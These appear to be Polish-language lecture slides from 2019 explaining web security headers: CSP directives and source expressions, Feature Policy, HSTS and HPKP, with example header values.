CSP – dyrektywy
base-uri (CSP 2.0),
child-src (CSP 2.0,
zastępuje frame-src),
connect-src (CSP 1.0),
default-src (CSP 1.0),
font-src (CSP 1.0),
form-action (CSP 2.0),
frame-ancestors (CSP 2.0),
frame-src (tylko CSP 1.0,
obecnie przestarzałe),
img-src (CSP 1.0),
media-src (CSP 1.0),
object-src (CSP 1.0),
plugin-types (CSP 2.0),
report-uri (CSP 1.0),
sandbox (CSP 1.0),
script-src (CSP 1.0),
style-src (CSP 1.0).
CSP – źródła
Co może być źródłem (CSP 1.0+)?
'self' – tylko ten sam origin
Host: example.com – oznacza dopasowanie po HTTP i HTTPS (z tego i z tego załadują się elementy)
Host z protokołem: https://example.com
Host wraz z definicją portu: example.com:80
* – w dowolnej sekcji originu, ale w domenie może dotyczyć tylko skrajnie lewego elementu, np. *://*.example.com:*
Co może być źródłem (CSP 2.0+)?
http://example.com/js/source.js
example.com/js – plik js
example.com/js/ – elementy z katalogu js
12.12.2019
56
CSP – źródła
Ponad to (CSP 1.0+):
'none' – zabroń w ogóle
'unsafe-inline' – pozwala na ładowanie skryptów, styli
i obrazków inline (bezpośrednio z kodu strony),
'unsafe-eval' – dozwolone używanie funkcji eval i innych
dynamicznie generujących kod JS (ale i tak się nie powinno)
Ponad to (CSP 2.0+):
'nonce-NNNN' – token, który musi pojawić się w skryptach
inline, by mogły zostać wykonane
'sha256-NNNN' 'sha384-NNNN' 'sha512-NNNN' – suma
kontrolna ze skryptu inline, jeśli ma zostać wykonany
FP
Feature Policy – nagłówek HTTP pozwalający określać,
jakie API może użyć przeglądarka i do czego może się
odnosić
Podobny do CSP
Przykład:
Feature-Policy: vibrate 'self'; usermedia *; sync-xhr 'self'
https://example.com
Na razie bardzo słabe wsparcie przez przeglądarki
Chrome 60+ (częściowo)
Edge 76+ (częściowo)
Safari 11.1+ (częściowo)
Opera 40+ (częściowo)
12.12.2019
57
FP
Dyrektywy (wybrane):
ambient-light-sensor – sprawdzanie poziomu oświetlenia w
otoczeniu
autoplay
accelerometer
batery
camera
display-capture
document-domain
fullscreen
geolocation
HSTS
HTTP Strict Transport Security
Serwer informuje przeglądarkę, że strona ma być osiągana
wyłącznie po HTTPS
Ochrona przed atakami w stylu SSLStrip
Przykład nagłówka HTTP:
Strict-Transport-Security: max-age=2592000;
includeSubDomains
max-age – ile sekund od ostatniego zobaczenia nagłówka
HSTS przeglądarka ma pamiętać, by używała HTTPS
includeSubDomains – jak widać
12.12.2019
58
HPKP
HTTP Public Key Pinning
Serwer informuje przeglądarkę, że strona korzysta
wyłącznie ze wskazanych certyfikatów
Przykład nagłówka HTTP:
Public-Key-Pins: pin-sha256="…"; pin-sha256="…";
pin-sha256="…"; max-age=10000;
includeSubDomains
pin-sha256 – base64(sha256(asn1(cert)))
max-age – ile sekund od ostatniego zobaczenia nagłówka
HPKP przeglądarka ma pamiętać, by używała wskazanych cert.
includeSubDomains – jak widać